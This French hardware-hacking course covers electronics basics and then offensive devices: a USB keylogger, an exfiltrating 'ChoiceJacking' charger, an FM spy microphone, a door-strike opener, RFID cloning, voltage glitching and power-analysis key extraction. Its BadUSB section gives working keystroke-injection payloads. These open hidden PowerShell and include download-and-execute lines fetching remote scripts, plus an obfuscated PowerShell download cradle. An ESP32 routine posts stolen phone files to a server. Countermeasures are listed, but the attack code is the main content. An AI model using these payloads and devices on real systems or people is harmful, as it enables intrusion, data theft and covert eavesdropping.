Des bases de l'électronique aux projets hardware avancés : keylogger USB, sniffeur RF, sonde d'exfiltration, ouverture de serrure, micro espion, analyseur logique DIY.
Théorie, pratique et contre‑mesures pour cyberdéfenseurs.
| Grandeur | Symbole | Unité | Description simple | Analogie hydraulique |
|---|---|---|---|---|
| Tension | V | Volt (V) | Force qui pousse les électrons | Pression de l'eau |
| Courant | I | Ampère (A) | Flux d'électrons | Débit d'eau |
| Résistance | R | Ohm (Ω) | Opposition au passage du courant | Rétrécissement du tuyau |
| Puissance | P | Watt (W) | Énergie consommée | Puissance hydraulique |
Loi d'Ohm : V = R × I P = V × I P = R × I² P = V² / R
| Préfixe | Symbole | Multiplication | Exemple concret |
|---|---|---|---|
| pico | p | 10⁻¹² | 10 pF (condensateur RF) |
| nano | n | 10⁻⁹ | 100 nF (découplage) |
| micro | µ | 10⁻⁶ | 10 µF (filtrage) |
| milli | m | 10⁻³ | 20 mA (courant LED) |
| kilo | k | 10³ | 10 kΩ (pull-up) |
| mega | M | 10⁶ | 1 MΩ (entrée ampli-op) |
| giga | G | 10⁹ | 2.4 GHz (fréquence WiFi) |
| Composant | Symbole | Fonction | Exemple d'utilisation en hack |
|---|---|---|---|
| Résistance | ───/\/\/\─── | Limiter le courant, divider la tension | Adapter signaux entre µC (3,3V) et périphérique (5V) |
| Condensateur | ───||─── | Stocker de l'énergie, filtrer | Découplage sur ESP32 pour stabilité |
| Inductance | ───0000─── | Stocker de l'énergie magnétique | Filtre dans alimentation à découpage pour dispositif longue durée |
| Diode | ───►|─── | Laisser passer le courant dans un sens | Protection de relais commandé par µC (ouverture serrure) |
| LED | ───►|⊙─── | Émettre de la lumière | Indicateur (ou infrarouge discret) |
| Transistor (BJT) | C/B/E avec flèche | Amplification, commutation | Piloter un électroaimant pour ouvrir une porte |
| MOSFET | G───||───D/S | Commutation rapide, faible résistance | Contrôle de moteur ou de charge puissante |
| Régulateur | IC | Stabiliser une tension | Alimentation 3,3V/5V à partir d'une batterie 18650 pour dispositif autonome |
| Couleur | Valeur | Multiplicateur | Tolérance |
|---|---|---|---|
| Noir | 0 | 1 Ω | - |
| Marron | 1 | 10 Ω | ±1% |
| Rouge | 2 | 100 Ω | ±2% |
| Orange | 3 | 1 kΩ | ±3% |
| Jaune | 4 | 10 kΩ | ±4% |
| Vert | 5 | 100 kΩ | ±0.5% |
| Bleu | 6 | 1 MΩ | ±0.25% |
| Violet | 7 | 10 MΩ | ±0.1% |
| Gris | 8 | - | ±0.05% |
| Blanc | 9 | - | - |
Exemple : Rouge – Rouge – Marron = 22 × 10 = 220 Ω
Diviseur de tension : Vout = Vin × R2 / (R1 + R2). Utile pour abaisser une tension à mesurer.
| Type | Avantages | Inconvénients | Usage en hack |
|---|---|---|---|
| Céramique | rapide, stable, faible coût | faible capacité max | Découplage près des CI (100 nF) |
| Électrolytique | forte capacité, faible coût | polarisé, ESR élevé | Filtrage alimentation (10-1000 µF) |
| Tantale | stable, faible fuite | cher, peut exploser si surtension | Circuits sensibles (RTC, audio) |
| Film | précis, faible ESR | encombrant | Audio, filtres actifs |
Valeurs typiques : 100 nF (découplage), 10 µF (filtrage local), 100 µF (alimentation), 1000 µF (gros filtrage).
| Type | Caractéristiques | Applications |
|---|---|---|
| Diode de redressement (1N4007) | 1A, 1000V | Alimentation, protection |
| Diode Schottky (1N5819) | faible chute (0.3V), rapide | Convertisseurs, récupération d'énergie |
| Diode Zener (5.1V) | tension de claquage fixe | Régulation simple, protection |
| LED | couleur, IR, UV | Indicateur, éclairage, télécommande |
| Transistor NPN (2N2222) | courant 800mA, gain ~100 | Commutation faible puissance |
| Transistor PNP (2N2907) | complémentaire NPN | Commutation côté haut |
| MOSFET N (IRFZ44N) | Rds(on) ~17mΩ, 55V, 49A | Commutation forte puissance |
| MOSFET P (IRF9540) | similaire mais canal P | Commutation côté haut |
| Composant | Symbole ASCII | Description | Variantes |
|---|---|---|---|
| Résistance | ───/\/\/\─── | Ligne zigzag (3-4 segments) | Résistance variable avec flèche |
| Condensateur | ───||─── | Deux lignes parallèles | Polarisé : ───|+||─── |
| Inductance | ───0000─── | Boucles ou arcs | Bobine à noyau : ───⌒⌒⌒─── |
| Diode | ───►|─── | Triangle + barre | Zener : ───►|◄───, Schottky : ───►|S─── |
| LED | ───►|⊙─── | Diode + flèches de lumière | Infrarouge : même symbole |
| Transistor NPN | C / B / E avec flèche sortante | Flèche sur émetteur vers l'extérieur | PNP : flèche vers l'intérieur |
| MOSFET N | G───||───D / S | Ligne verticale, flèche sur substrat | MOSFET P : flèche inversée |
| Alimentation pile | ───||+─── | Ligne longue = +, courte = - | Batterie multiple : superposition |
| Masse | ───┴─── | Trois traits | Masse signal : ───⊥─── |
| Quartz | ───□─── | Rectangle ou Y | Résonateur céramique : ───⌒─── |
| Ampli-op | Triangle avec + et - | Entrées inverseuse/non-inverseuse | Avec alimentations |
| Composant | Rôle principal | Caractéristiques clés | Exemple d'utilisation en hack 2026 |
|---|---|---|---|
| Ampli-op (LM358) | Amplifier, filtrer, comparer | Gain élevé, faible bruit, 2 op-amps par boîtier | Ampli audio pour micro espion, comparateur pour détecter seuil de batterie |
| Régulateur linéaire (7805, LM317) | Stabiliser tension | Dropout ~2V (pour 7805), courant max 1A | Alim 5V pour dispositif à partir de batterie 9V ou 12V |
| Convertisseur DC-DC (LM2596, MT3608) | Élever/abaisser tension avec rendement | Rendement >80%, fréquence de découpage | Alimentation autonome pour SDR ou µC, boost 3.7V → 5V |
| Quartz (32,768 kHz, 16 MHz) | Horloge précise | Stabilité ±10 ppm, charge capacitive | RTC pour datalogger, horloge pour microcontrôleur |
| Capteur à effet Hall (A3144) | Détecter champ magnétique | Sortie numérique, tout ou rien | Détecteur d'ouverture de porte, compteur de rotations |
| Phototransistor / photodiode | Convertir lumière en courant | Réponse rapide, sensibilité IR | Récepteur IR pour télécommande, barrière lumineuse |
| Optocoupleur (4N35, PC817) | Isoler galvaniquement | Tension d'isolement 5kV, CTR (gain de transfert) | Commande de relais 230V depuis µC, séparation de masses |
| Thermistance (NTC) | Mesurer température | Résistance diminue avec T° | Sonde pour détection de chaleur (personnes, machines) |
| MOSFET puissance (IRLZ44N) | Commuter charges puissantes | RDS(on) très faible, compatible logique 5V | Piloter moteur ou électroaimant, variateur LED |
| Pont en H (L298N, TB6612) | Commander sens/vitesse moteur | Courant max 2-3A, protection thermique | Robot mobile, ouverture motorisée de porte |
| Convertisseur ADC (MCP3008, ADS1115) | Numériser signal analogique | Résolution 10-16 bits, interface SPI/I2C | Lire capteur analogique, mesurer tension batterie avec précision |
| Afficheur LCD/OLED (SSD1306) | Afficher texte/graphiques | I2C/SPI, 128x64 pixels, faible consommation | Interface pour dispositif portable (sniffer, keylogger) |
| Module Bluetooth/WiFi (HC-05, ESP8266, ESP32) | Communication sans fil | Portée, protocoles (UART, AT commands) | Exfiltration de données, C2, beacon |
| Capteur ultrason (HC-SR04) | Mesurer distance | Portée 2-400 cm, angle 15° | Détection d'obstacles, niveau d'eau, intrusion |
| Capteur de courant (ACS712) | Mesurer courant sans coupure | Sensibilité 185 mV/A, isolation | Surveillance consommation, détection activité d'un appareil |
| Mémoire EEPROM/Flash (24LC256, W25Q128) | Stockage non-volatil | Capacité 256kbit à 128Mbit, I2C/SPI | Sauvegarde de logs, configuration, exfiltration temporaire |
| RTC (DS3231) | Garder l'heure avec pile | Précision ±2 ppm, alarme intégrée | Datalogger horodaté, réveil programmé |
| Amplificateur audio (LM386, PAM8403) | Amplifier signal audio | Puissance 0.5-10W, gain réglable | Mini ampli pour écoute, interphone espion |
| Protocole | Vitesse typique | Usage courant | Attaques possibles |
|---|---|---|---|
| UART | 9600 – 1 Mbaud | Debug, console, GPS | Sniff, injection, dump firmware |
| I2C | 100 kHz – 3.4 MHz | Capteurs, EEPROM, RTC | Sniff, écrasement configuration |
| SPI | 1 – 50 MHz | Flash, écrans, SD | Extraction firmware, injection |
| JTAG | 10 – 100 MHz | Debug CPU, programmation | Dump mémoire, contournement protections |
| SWD | 10 – 50 MHz | Debug ARM | Lecture/écriture registres, halt |
| 1-Wire | 15.4 kbps | Capteurs, iButton | Clonage, sniff |
Exemple pratique : Repérer des points de test sur un PCB, connecter un analyseur logique, et décoder les trames pour trouver UART debug.
Indispensable pour mesurer tensions, courants, résistances, continuité. Savoir l'utiliser pour diagnostiquer un circuit. Choisir un modèle avec capacité, fréquence et diode test.
Permet de visualiser des signaux, mesurer des fréquences, analyser des communications série. Un oscilloscope USB bas coût (ex. Hantek 6022BE) suffit pour débuter. Band passante minimale 20 MHz.
Pour décoder les protocoles numériques (UART, I2C, SPI, 1-Wire). Des clones de Saleae à 10€ (24MHz 8 canaux) fonctionnent avec Sigrok/PulseView.
Une alimentation variable (0-30V, 0-5A) est idéale. Sinon, on peut utiliser des batteries + régulateurs. Important : protection contre les courts-circuits.
Utile pour tester des filtres, amplifier des signaux. Des modèles DDS pas chers (AD9850) peuvent être interfacés avec Arduino.
| Projet | Composants clés | Difficulté | Objectif |
|---|---|---|---|
| Keylogger USB matériel | RPi Pico/Pro Micro, câble USB, µSD | Moyen | Enregistrer les frappes à l'insu de l'OS |
| Sniffeur RF (réception satellite) | RTL-SDR, RPi Zero, antenne | Moyen | Intercepter des signaux radio (météo, IoT) |
| Sonde USB exfiltratrice | ESP32, chargeur factice, µSD | Avancé | Voler des fichiers depuis un téléphone branché |
| Ouvre-porte par électroaimant | MOSFET, électroaimant 12V, batterie, relais | Moyen | Déclencher une ouverture de porte/coffre |
| Micro espion FM | Transistor, résistances, condensateurs, antenne | Débutant | Écouter une pièce à distance (émetteur FM) |
| Détecteur de champ magnétique | Capteur Hall A3144, LED, buzzer | Débutant | Détecter un aimant (ouverture de porte) |
| Analyseur logique DIY | CY7C68013A (FX2LP), logiciel Sigrok | Moyen | Capturer et décoder des signaux numériques |
| BadUSB programmable | Attiny85 (Digispark) ou RPi Pico | Moyen | Injecter des frappes automatiques pour exécuter des commandes |
| Renifleur de trames RFID 125kHz | Arduino, résonateur LC, ampli-op | Avancé | Lire et cloner des badges RFID basse fréquence |
| Détecteur de bugs (contre-mesure) | RTL-SDR, balayage de spectre | Moyen | Détecter des émetteurs clandestins |
Contexte : Un keylogger matériel se branche entre le clavier et l'ordinateur. Il enregistre toutes les frappes sans laisser de trace logicielle. Indétectable par l'OS, il est redoutable pour du social engineering ou du test d'intrusion physique.
Composants :
Schéma de principe :
[Clavier] --USB-- [Connecteur entrée] -- lignes D+/D- -- [µC] -- lignes D+/D- -- [Connecteur sortie] --USB-- [PC]
Le µC doit agir comme un hub USB ou un périphérique composite : il reçoit les scancodes du clavier, les enregistre, et les retransmet à l'ordinateur.
Câblage :
Fonctionnement : Le µC se comporte comme un hub USB. Il doit implémenter un stack USB complexe. Une alternative plus simple est d'utiliser un Teensy 4.0 avec deux ports USB natifs. Sinon, on peut utiliser un Raspberry Pi Zero (mais plus gros).
Code conceptuel (CircuitPython avec Pico) – simplifié :
# Ce code est une ébauche : pour un vrai keylogger, il faut un stack USB host.
# Nous simulons ici une frappe toutes les 5 secondes.
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import storage
import time
kbd = Keyboard(usb_hid.devices)
log_file = "/sd/log.txt" # si carte SD présente
while True:
time.sleep(5)
frappe = "a"
with open(log_file, "a") as f:
f.write(frappe + "\n")
kbd.send(Keycode.A)
kbd.release_all()
Variante avancée : Utiliser un MAX3421E (contrôleur USB host) avec un Arduino pour intercepter les signaux du clavier réel.
Contre-mesures :
Contexte : Les satellites météo NOAA transmettent des images en clair sur 137 MHz. Avec un récepteur SDR à 20€, vous pouvez recevoir ces images et les décoder.
Composants :
Logiciels :
Étapes :
rtl_fm -f 137.1M -M raw -s 48k | sox -t raw -r 48k -e signed -c 1 -b 16 - output.wavwxtoimg output.wav image.pngDifficultés : Orientation de l'antenne, interférences urbaines. Prévoir un préampli si signal faible.
Améliorations : Ajouter un filtre passe-bande 137 MHz pour améliorer le rapport signal/bruit.
Contre-mesures : Les satellites météo ne sont pas chiffrés, donc pas de contre-mesure. Mais pour des communications plus sensibles, le chiffrement s'impose.
Contexte : Évolution du juice-jacking : un chargeur public modifié peut voler vos données. Le projet "ChoiceJacking" (USENIX 2025) montre qu'avec un ESP32, on peut contourner la confirmation utilisateur en moins d'une seconde.
Composants :
Principe : L'ESP32 se connecte en USB host. Il monte le stockage MTP du téléphone et copie les fichiers (photos, documents). Pour contourner la confirmation, il utilise la méthode Bluetooth (émule un clavier pour valider).
Code conceptuel (ESP-IDF) :
// Initialisation USB host, montage MTP, copie de fichiers...
#include "esp_wifi.h"
#include "esp_http_client.h"
void send_file(char *filename) {
esp_http_client_config_t config = { .url = "http://serveur/upload", .method = HTTP_METHOD_POST };
esp_http_client_handle_t client = esp_http_client_init(&config);
esp_http_client_open(client, filesize);
esp_http_client_write(client, file_buffer, filesize);
esp_http_client_perform(client);
esp_http_client_cleanup(client);
}
Contre-mesures :
Contexte : Ouvrir une porte électrique (gâche électrique) à distance. Utilisé en pentest physique pour tester les accès.
Composants :
Schéma :
µC (pin) ── résistance 10kΩ ── GND
└─ Grille MOSFET
Drain MOSFET ── électroaimant (+) ── +12V
Source MOSFET ── GND
Diode en parallèle sur l'électroaimant (cathode vers +12V)
Code Arduino :
const int mosfetPin = 9;
void setup() { pinMode(mosfetPin, OUTPUT); }
void loop() {
digitalWrite(mosfetPin, HIGH); // active
delay(5000); // maintient 5 secondes
digitalWrite(mosfetPin, LOW);
delay(5000);
}
Améliorations : Ajouter un récepteur 433MHz pour déclencher à distance, ou un capteur d'ouverture (reed switch) pour confirmer.
Contre-mesures : Les portes sécurisées utilisent des électroaimants à "security mode" (nécessitent une impulsion spécifique).
Contexte : Un petit émetteur FM qui diffuse les sons ambiants sur une radio. Classique pour débuter en RF.
Composants :
Schéma (oscillateur Colpitts) : Rechercher "FM bug circuit" sur Internet. Le micro module la fréquence de l'oscillateur via sa capacité variable.
Réalisation :
Difficultés : Stabilité de fréquence, interférences.
Contre-mesures : Détecteurs de bugs (scanners RF).
Contexte : Détecter un aimant (ouverture de porte, présence).
Composants :
Schéma :
A3144 :
Vcc ── 5V
GND ── GND
OUT ───┬── LED+ (avec résistance) ── GND
└── buzzer+ ── GND
En présence d'un champ magnétique (pôle sud), la sortie passe à l'état bas, la LED s'allume.
Utilisation : Coller un aimant sur la porte, le capteur sur le cadre. Quand la porte s'ouvre, l'aimant s'éloigne, la LED s'éteint (ou l'inverse).
Améliorations : Ajouter un microcontrôleur pour compter les ouvertures, envoyer une alerte WiFi.
Contexte : La puce CY7C68013A (FX2LP) des cartes chinoises à 5€ peut être transformée en analyseur logique 24 MHz 8 canaux avec Sigrok.
Composants :
Étapes :
cycfx2prog ou fxload.Exemple de commande :
# Flasher (sous Linux)
sudo fxload -t fx2 -I fx2lafw.hex -D /dev/bus/usb/xxx/yyy
# Utiliser sigrok-cli
sigrok-cli --driver fx2lafw --config samplerate=24m --channels 0-7 --time 1s --output-file capture.sr
Utilisation : Décodez UART, I2C, SPI, etc. pour reverse engineering.
Composants :
Principe : Le microcontrôleur se fait passer pour un clavier USB HID (Human Interface Device). Dès qu'il est branché, il simule des frappes clavier ultra-rapides pour ouvrir un terminal, télécharger un payload ou exécuter des commandes. L'attaque est "fire-and-forget" : aucune interaction utilisateur requise (sauf UAC sur Windows si admin requis).
Utilise la bibliothèque DigiKeyboard.h (installée via Arduino IDE + Digistump AVR Boards).
#include "DigiKeyboard.h"
void setup() {
// Pas besoin de pinMode, tout est géré par DigiKeyboard
}
void loop() {
DigiKeyboard.sendKeyStroke(0); // Touche neutre pour "réveiller" le clavier
DigiKeyboard.delay(1500); // Attendre que Windows reconnaisse le périphérique
// Ouvrir Exécuter (Win + R)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(400);
// Ouvrir cmd
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(800);
// Exemple : récupérer nom utilisateur + envoyer vers un fichier
DigiKeyboard.print(F("whoami > C:\\temp\\who.txt"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300);
// Variante plus agressive : télécharger et exécuter un payload PowerShell
// DigiKeyboard.print(F("powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')\""));
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
// Boucle infinie pour ne pas rejouer
for(;;) {
DigiKeyboard.delay(1000);
}
}
Plus simple à développer, pas de compilation Arduino, édition directe du fichier code.py. Utilise adafruit_hid.
import time
import usb_hid
import board
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)
print("BadUSB Pico démarré - Attente 2s pour reconnaissance USB...")
time.sleep(2.0)
# Win + R
kbd.press(Keycode.WINDOWS, Keycode.R)
kbd.release_all()
time.sleep(0.4)
# Ouvrir PowerShell en mode caché
layout.write("powershell -WindowStyle Hidden -NoProfile")
kbd.send(Keycode.ENTER)
time.sleep(1.0)
# Exemple payload : info système + exfil vers fichier (ou serveur)
payload = """
$who = whoami
$comp = hostname
$ip = (Invoke-RestMethod -Uri http://ipinfo.io/json).ip
\"Utilisateur: $who | Machine: $comp | IP: $ip\" | Out-File -FilePath C:\\temp\\info.txt -Encoding utf8
"""
layout.write(payload)
kbd.send(Keycode.ENTER)
time.sleep(0.5)
# Variante : télécharger et exécuter depuis Internet
# layout.write("IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/evil.ps1')")
# kbd.send(Keycode.ENTER)
print("Payload envoyé !")
while True:
time.sleep(1)
Ajoute un téléchargement de payload distant (attention : très détectable par EDR modernes en 2026 – Defender, CrowdStrike, etc.).
Exemple PowerShell obfuscé (à insérer dans le code ci-dessus) :
$w='Net.WebClient';$d=New-Object $w;$s='http://votre-serveur/p.ps1';IEX($d.DownloadString($s))
Améliorations possibles :
Composants : Arduino Nano, circuit résonant LC (bobine 1mH, cap 10nF), ampli-op (LM358), détecteur d'enveloppe, comparateur.
Principe : La bobine capte le champ magnétique émis par le lecteur RFID et la réponse du badge. Le signal est amplifié, filtré, puis numérisé par l'ADC de l'Arduino. Le firmware analyse les trames Manchester/EM4100.
Objectif : Cloner un badge RFID 125kHz (non crypté) pour ouverture de porte.
Utilisez un multimètre pour mesurer la tension d'une pile, la résistance d'une résistance inconnue, vérifier la continuité d'un fil. Mesurez le courant dans un circuit simple (LED + résistance).
Sur une breadboard, réalisez un circuit avec une LED, une résistance, et un NE555 en mode astable pour faire clignoter la LED. Calculez la fréquence (formule : f = 1.44 / ((R1+2R2)C)).
Programmez un Arduino Pro Micro pour qu'il se comporte comme un clavier et tape "Hello World" quand on le branche. (sans enregistrement). Testez sur un ordinateur de laboratoire.
Avec un RTL-SDR et une antenne dipôle, capturez un passage de satellite NOAA et décodez l'image. Utilisez gpredict pour prévoir les passages.
Câblez le capteur A3144 avec une LED et testez la détection d'un aimant. Ajoutez un buzzer pour faire une alarme.
Connectez un Arduino qui émet "Hello" en série (9600 bauds) à l'analyseur logique FX2LP, et décodez avec PulseView.
Réalisez un petit circuit (clignotant) sur une plaque d'essai, puis soudez-le sur un PCB vierge.
Sur un vieux routeur ou une caméra IP, ouvrez le boîtier, identifiez le microcontrôleur, cherchez des points de test carrés (souvent UART). Utilisez un multimètre en mode continuité pour trouver la masse, puis un analyseur logique pour repérer les signaux RX/TX.
Rappel : Tous ces exercices doivent être réalisés dans un environnement isolé, sans connexion à Internet réelle, et avec des données de test. N'utilisez jamais vos comptes personnels ni ceux d'autrui.
| Projet | Composants clés | Difficulté | Coût 2026 approx. | Objectif / Vecteur d'attaque |
|---|---|---|---|---|
| Voltage Glitching avec Pico Glitcher | RP2040, MOSFET, résistance 10Ω, alimentation, cible (ex: LPC1343) | Expert | 25-40 € | Bypass de secure boot, extraction de clés, contournement de code read protection (CRP) |
| RFID Long Range Thief (Tastic style) | Lecteur MaxiProx 5375, Arduino Nano, PCB, µSD, batterie | Avancé | 50-80 € | Vol de badges 125kHz à distance (>1m) sans contact physique |
| ChoiceJacking – Chargeur USB-C malveillant | ESP32-S2/S3, CH224K (PD trigger), µSD, MOSFET, chargeur factice | Expert | 30-50 € | Exfiltration de données par MTP/PTP/ADB avec contournement de la confirmation utilisateur |
| AirTag / BLE Tracker Detector (ESP32 Marauder) | ESP32-S3, GPS NEO-6M, SD card, capteur vibration SW-420, écran OLED | Avancé | 35-60 € | Détection de trackers (AirTag), drones (Remote ID), analyse de randomisation MAC, triangulation |
| Side-Channel Power Analysis low-cost | INA219 ou ADS1115 + shunt, oscilloscope USB, cible Arduino/ESP32 | Expert | 20-50 € | Extraction de clés AES par analyse de consommation (DPA) sur implémentations naïves |
| Multi-Radio Pocket Hacker (Sub-GHz + BLE) | ESP32-S3 + CC1101 + nRF24 + écran TFT, batterie | Expert | 50-80 € | Sniffer/replay Sub-GHz, détection/spam BLE, successeur Flipper-like low-cost |
Contexte 2026 : Le glitch (injection de fautes) n'est plus réservé aux labos. Des outils open-source comme le Pico Glitcher démocratisent l'attaque, permettant de bypasser des sécurités matérielles sur des microcontrôleurs courants (NXP LPC, STM32, etc.) . Des recherches récentes montrent même son application sur des accélérateurs IA (NPU) pour forcer des erreurs de classification .
Évolution matérielle : La version dominante en 2026 est la v2.1 (level shifters 1.8-5V, SMA trigger, options MOSFET). Une v3 existe avec pulse shaping avancé et multiplexing amélioré, mais reste plus chère et réservée aux experts cherchant une précision nanoseconde.
Composants :
Câblage détaillé (d'après le blog SySS) : Le tableau suivant montre les connexions pour le LPC1343.
| Broche LPC1343 | Fonction | Couleur fil (exemple) |
|---|---|---|
| 3 | Reset | blanc |
| 4 | Execute ISP command handler | orange |
| 5 | VSS (masse) | gris/noir |
| 8 | VDD (alimentation) | rouge |
| 14 | Execute ISP command handler | orange |
| 41 | VSS | gris/noir |
| 44 | VDD | rouge |
| 46 | UART RX | bleu |
| 47 | UART TX | violet |
Une résistance de 10Ω est placée entre l'alimentation et VDD de la cible. La sortie du glitch (drain du MOSFET) est connectée après cette résistance, et la source du MOSFET à la masse. Le signal de reset est également relié au trigger du Pico Glitcher.
Logiciel : La bibliothèque findus (Matthias Kesenheimer) est disponible sur PyPI et sa documentation complète sur ReadTheDocs. Version actuelle : 1.13.1 (oct 2024).
Configuration avec findus (Python) :
# Installation
python -m venv glitch-env
source glitch-env/bin/activate
pip install findus
# Script d'attaque sur LPC1343 (adapté de )
from pico_glitcher import PicoGlitcher
import time
class LPC1343Glitcher(PicoGlitcher):
def classify(self, state):
if b"Trigger OK" in state:
return "G" # Échec, pas de bypass
elif b"Success" in state:
return "R" # SUCCÈS : CRP contourné
elif b"Timeout" in state:
return "Y" # Timeout
return "C"
glitcher = LPC1343Glitcher(port_target="/dev/ttyUSB0", port_rpico="/dev/ttyACM3")
glitcher.set_voltage(normal=3.3, glitch=0.0) # Crowbar à 0V
glitcher.set_trigger_rising_edge()
glitcher.set_glitch_length(500) # 500 ns
glitcher.set_delay_range(start=1000, end=5000, step=10) # scan de 1µs à 5µs
results = glitcher.scan(num_trials=1000)
glitcher.plot_results(results) # Visualisation des paramètres gagnants
Analyse des résultats : Les points "R" (rouges) sur le graphique indiquent les couples (délai, longueur de glitch) qui ont permis de contourner la protection. On affine ensuite autour de ces valeurs . Avec un second scan (délai 49800–51600 ns, longueur 100–110 ns), on peut souvent obtenir un succès en quelques secondes et dumper le firmware (vidéo SySS YouTube).
Contre-mesures : Détecteurs de glitch matériels (comparateur rapide), code constant-time, redondance des calculs. Le RP2350 (Pico 2) intègre quatre glitch detectors très sensibles, rendant les attaques crowbar classiques inefficaces (IOActive 2025). Toutefois, elles peuvent être contournées par laser FI ou EMFI double (RP2350 Hacking Challenge 2025).
Contexte 2025-2026 : Le juice-jacking revient avec les attaques ChoiceJacking. Présenté à l'USENIX Security 2025 (Seattle, 13-15 août) par Florian Draschbacher et al. (Graz University of Technology), le papier "ChoiCeJaCking: Compromising Mobile Devices through Malicious Chargers like a Decade ago" montre que des chargeurs modifiés peuvent contourner la confirmation utilisateur en moins d'une seconde. CVEs associées : CVE-2024-20900 (Samsung), CVE-2024-43085 (Google/AOSP), patchés fin 2024.
Trois variantes d'attaque :
Composants spécifiques :
Code conceptuel (méthode 1 - Bluetooth) :
// Émulation clavier Bluetooth + USB Host MTP
#include "esp_bt_main.h"
#include "esp_bt_device.h"
#include "USBHID.h"
void choicejack_attack() {
// 1. Établir connexion Bluetooth comme clavier
esp_bt_dev_set_device_name("Bluetooth Keyboard");
// ... appairage automatique si déjà associé
// 2. Connecter en USB Host (MTP)
usb_host_install(&host_config);
// 3. Attendre que le téléphone affiche la demande de confirmation
vTaskDelay(pdMS_TO_TICKS(500));
// 4. Envoyer la touche "Entrée" via Bluetooth pour confirmer
hid_send_key(KEY_ENTER);
// 5. Exfiltrer les fichiers (photos, documents)
mtp_mount();
mtp_copy_file("/sdcard/DCIM/*.jpg", "/sd/");
}
Temps d'exfiltration : 133 ms confirmé dans le papier .
Contre-mesures : iOS 18.4 / Android 15 exigent une authentification biométrique pour les transferts de fichiers. Activez le paramètre "Toujours charger uniquement". Utilisez des USB-C data blockers.
Contexte : En 2026, les trackers Bluetooth (AirTag, SmartTag) posent des problèmes de vie privée. Le firmware ESP32 Marauder ( GitHub ) est la référence pour l'ESP32, avec des modules dédiés : AirTag Sniff (capture payload) et AirTag Monitor (liste, RSSI, temps depuis dernier vu). Compatible avec les écrans CYD (Cheap Yellow Display).
Composants :
Modes de détection (intégrés dans Marauder) :
Exemple de configuration : Flasher Marauder via web installer, choisir le module "AirTag Monitor" dans l'interface.
// Paramètres de scan typiques
#define WIFI_CHAN_TIME 160 // ms par canal
#define BLE_SCAN_DUR 3000 // durée scan BLE (ms)
#define RSSI_THRESHOLD -90 // dBm
Contre-mesure : Les téléphones récents (iOS 18.4+, Android 15+) alertent automatiquement sur les trackers inconnus.
Contexte : Les travaux du CEA montrent que le reverse-engineering par canaux auxiliaires devient accessible . On peut extraire des clés AES d'un microcontrôleur en analysant sa consommation.
Composants :
Principe : Mesurer la consommation pendant 1000 chiffrements avec des données différentes. En moyennant et en analysant les variations, on peut déduire les bits de la clé (Differential Power Analysis).
Code d'acquisition simplifié (Arduino + Python) :
// Arduino : exécute AES et envoie trigger sur pin D2
void loop() {
digitalWrite(2, HIGH); // début de l'opération
aes_encrypt(plaintext, key);
digitalWrite(2, LOW);
plaintext++; // varie
}
# Python : acquisition synchrone
import numpy as np
import pico_scopes as ps # bibliothèque pour oscilloscope USB
scope = ps.open()
traces = []
for i in range(1000):
scope.arm_trigger(2, rising=True)
trace = scope.capture()
traces.append(trace)
# Analyse DPA (corrélation avec hypothèse de consommation)
traces = np.array(traces)
# ... corrélation de Pearson pour chaque hypothèse de sous-clé
Contre-mesures : Masquage aléatoire des données, constant-time, bruit actif, désynchronisation des horloges.
Objectif : Créer un appareil portable capable de sniffer et rejouer des signaux Sub-GHz (télécommandes de portail, voitures anciennes) et de détecter/spammer des périphériques Bluetooth Low Energy (trackers, enceintes). C'est un successeur low-cost du Flipper Zero.
Composants :
Montage pas à pas :
ELECHOUSE_CC1101 et BLEDevice.Code minimal pour le menu :
#include
#include
#include
#include
#define CC1101_CS 5
int scanTime = 5; // secondes pour le scan BLE
void setup() {
Serial.begin(115200);
ELECHOUSE_cc1101.setSpiPin(18, 19, 23, CC1101_CS);
ELECHOUSE_cc1101.Init();
ELECHOUSE_cc1101.setMHZ(433.92);
BLEDevice::init("ESP32_Scanner");
Serial.println("Multi-Radio prêt");
}
void loop() {
if (Serial.available()) {
char cmd = Serial.read();
switch(cmd) {
case '1': scanSubGHz(); break;
case '2': replaySubGHz(); break;
case '3': scanBLE(); break;
}
}
}
void scanSubGHz() {
Serial.println("Scan Sub-GHz...");
// Utiliser ELECHOUSE_cc1101.CheckReceiveFlag() pour capturer
}
void replaySubGHz() {
Serial.println("Rejeu du signal...");
}
void scanBLE() {
BLEScan* scan = BLEDevice::getScan();
scan->setActiveScan(true);
BLEScanResults results = scan->start(scanTime, false);
Serial.printf("Appareils BLE trouvés : %d\n", results.getCount());
}
Contre-mesures : Les systèmes modernes utilisent des rolling codes (Sub-GHz) et les téléphones récents alertent sur les trackers inconnus.
| Technique | 2015-2020 | 2026 |
|---|---|---|
| Fault Injection | Équipement >10k€ (ChipWhisperer Pro) | Pico Glitcher <30€, iceGLITCH FPGA à 22€ |
| RFID Cloning | Proxmark3 (~300€), complexe | PN532 + ESP32 (~20€), clonage en 1 heure |
| USB Attacks | BadUSB basique (injection commandes) | ChoiceJacking (contournement OS, exfiltration <1s) |
| Side-Channel | Laboratoire de recherche | INA219 + ADS1115 (~15€) pour DPA basique |
| Détection de surveillance | Aucune ou matériel dédié cher | ESP32 Marauder (<50€) avec AirTag Monitor |
Appareil cible
│
├─ 1. Identifier le microcontrôleur (datasheet, brochage)
├─ 2. Tracer les rails d'alimentation (continuité)
├─ 3. Repérer les points de test UART (tensions, signaux carrés)
├─ 4. Connecter un analyseur logique / oscilloscope
├─ 5. Dumper le firmware (UART, SPI, JTAG, glitch)
└─ 6. Analyser le binaire (strings, binwalk, Ghidra)
python -m serial.tools.miniterm /dev/ttyUSB0 115200Matériel : Analyseur logique, pompe à dessouder, lecteur SPI (ex: CH341A).
binwalk pour extraire les partitions.flash read_bank 0 firmware.bin# Nécessite sigrok-cli installé
import subprocess
def capture_spi(channels="CS:SCK:MOSI:MISO", samplerate=1e6, time=10):
